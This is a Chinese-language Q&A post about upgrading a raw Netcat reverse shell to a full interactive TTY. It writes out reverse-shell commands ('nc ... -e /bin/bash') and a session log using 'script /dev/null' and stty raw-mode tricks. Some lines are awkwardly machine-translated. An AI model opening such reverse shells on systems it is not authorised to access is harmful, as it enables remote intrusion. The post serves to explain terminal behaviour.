Bash
如何將原始的 Netcat shell 升級為具有製表符補全和行編輯功能的全功能登錄 shell?
如何將原始的 Netcat shell 升級為具有製表符補全和行編輯功能的全功能登錄 shell?
假設我使用 Netcat 啟動一個遠端(反向)shell,如下所示:
nc -lvp $port nc $ip $port -e '/bin/bash'
現在,我得到的是一個沒有 TTY、製表符補全、行編輯或歷史記錄的 shell。也就是說,向左、向上、向右和向下鍵盤鍵會導致
^[[D,^[[A,^[[C,^[[B
、 和 ,而按下^C
會導致 shell 終止:$ tty not a tty
現在,為 shell 啟動一個 PTY 是相當簡單的,這樣類似的命令
su
就可以執行了。但是,shell 仍然缺少普通登錄 shell 所期望的基本功能(見上文)。如果可能,如何將 Netcat 啟動的 shell 升級為類似於普通登錄 shell 的東西?請解釋一下步驟。
您不能“升級”已經執行的 shell。
但是你可以
a) 創建一個 pty 並在其中執行另一個 shell
script /dev/null
b)擺弄您的本地終端,因此它不會專門解釋
intr
,eof
和eol
其他鍵,而是通過它們。$ nc -lvp 9999 Listening on [0.0.0.0] (family 0, port 9999) [ncat -4 localhost 9999 -e /bin/bash in another terminal] Connection from localhost 36790 received! exec script /dev/null Script started, file is /dev/null bash-4.4$ [press Control-Z] [1]+ Stopped nc -lvp 9999 s=$(stty -g); stty -icanon -echo -isig; fg; stty "$s" [press Enter] bash-4.4$ [now history and control keys work as expected you may also want to set the correct name with TERM= and the correct size with stty rows R cols C press Control-D to terminate the shell]
無論如何,這個網貓遊戲非常沒有意義和荒謬;誰真的想通過未加密的連接執行 shell 會話?
ssh
早在 2019 年,我們就已經有了類似的東西。